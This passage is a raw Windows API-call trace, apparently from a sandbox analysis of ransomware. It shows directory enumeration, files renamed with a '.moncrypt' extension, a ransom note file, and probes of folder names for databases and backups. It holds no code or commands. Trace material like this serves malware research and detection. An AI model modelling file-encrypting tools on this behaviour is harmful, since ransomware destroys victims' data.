(hMem=0x44000c) returned 0x555b78 [0051.380] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.380] GlobalUnlock (hMem=0x440004) returned 0 [0051.380] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.380] GlobalUnlock (hMem=0x44000c) returned 0 [0051.380] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.380] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fdc6f40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fdc6f40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.380] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.380] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.380] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.380] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.380] GlobalUnlock (hMem=0x44000c) returned 0 [0051.380] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.380] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.380] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.380] GlobalUnlock (hMem=0x44000c) returned 0 [0051.380] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.380] GlobalUnlock (hMem=0x440004) returned 0 [0051.380] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.380] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x117a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM.moncrypt", cAlternateFileName="DEEPBL~1.MON")) returned 1 [0051.380] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.381] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.381] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.381] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.381] GlobalUnlock (hMem=0x440004) returned 0 [0051.381] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.381] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.381] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.381] GlobalUnlock (hMem=0x440004) returned 0 [0051.381] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.381] GlobalUnlock (hMem=0x44000c) returned 0 [0051.381] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.381] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0051.381] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.381] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.381] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.381] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.381] GlobalUnlock (hMem=0x44000c) returned 0 [0051.381] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.381] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.381] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.381] GlobalUnlock (hMem=0x44000c) returned 0 [0051.381] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.381] GlobalUnlock (hMem=0x440004) returned 0 [0051.381] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.381] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd7ac80, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3fd7ac80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fd7ac80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0051.381] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.381] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.381] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.381] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.382] GlobalUnlock (hMem=0x440004) returned 0 [0051.382] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.382] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.382] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.382] GlobalUnlock (hMem=0x440004) returned 0 [0051.382] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.382] GlobalUnlock (hMem=0x44000c) returned 0 [0051.382] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.382] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.382] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.382] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.382] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.382] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.382] GlobalUnlock (hMem=0x44000c) returned 0 [0051.382] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.382] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.382] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.382] GlobalUnlock (hMem=0x44000c) returned 0 [0051.382] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.382] GlobalUnlock (hMem=0x440004) returned 0 [0051.382] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.382] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0051.382] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.382] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.382] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.382] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.382] GlobalUnlock (hMem=0x440004) returned 0 [0051.382] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.382] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.382] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.382] GlobalUnlock (hMem=0x440004) returned 0 [0051.383] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.383] GlobalUnlock (hMem=0x44000c) returned 0 [0051.383] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.383] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0051.383] GetLastError () returned 0x12 [0051.383] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.383] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0051.383] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0051.383] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0051.383] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.383] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.383] GlobalUnlock (hMem=0x44000c) returned 0 [0051.383] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.383] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.383] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.383] GlobalUnlock (hMem=0x44000c) returned 0 [0051.383] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.383] GlobalUnlock (hMem=0x440004) returned 0 [0051.383] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.384] GlobalLock (hMem=0x440004) returned 0x550170 [0051.384] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.384] GlobalUnlock (hMem=0x440004) returned 0 [0051.384] GlobalLock (hMem=0x440004) returned 0x550170 [0051.384] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.384] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.384] GlobalUnlock (hMem=0x440004) returned 0 [0051.384] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.384] GlobalUnlock (hMem=0x44000c) returned 0 [0051.384] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.384] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO", len=0x3c | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO") returned 1 [0051.384] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.384] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.384] GlobalUnlock (hMem=0x44000c) returned 0 [0051.384] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.384] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.384] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.384] GlobalUnlock (hMem=0x44000c) returned 0 [0051.384] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.384] GlobalUnlock (hMem=0x440004) returned 0 [0051.384] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夊U壞U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0051.386] GetLastError () returned 0x3 [0051.386] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.386] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0051.386] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0051.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0051.386] GetLastError () returned 0x2 [0051.387] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.387] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0051.387] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@삌R企@\x18?T\x18;")) returned 0xffffffff [0051.387] GetLastError () returned 0x2 [0051.387] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.387] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0c8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0051.387] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@奌U企@\x18?T\x18D")) returned 0xffffffff [0051.388] GetLastError () returned 0x2 [0051.388] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.388] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0c8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0051.388] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18삌R\x18j")) returned 0xffffffff [0051.388] GetLastError () returned 0x2 [0051.388] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.388] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.388] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.394] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@奌U企@\x18?T\x18q")) returned 0xffffffff [0051.394] GetLastError () returned 0x2 [0051.394] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.394] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0c8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\삈RP") returned 6 [0051.394] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.394] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뻜R企@\x18?T\x18y")) returned 0xffffffff [0051.394] GetLastError () returned 0x2 [0051.394] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.394] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0c8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0051.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0051.395] GetLastError () returned 0x2 [0051.395] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0c8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0051.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@奌U企@\x18?T\x18\x88")) returned 0xffffffff [0051.395] GetLastError () returned 0x2 [0051.395] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0c8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0051.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, 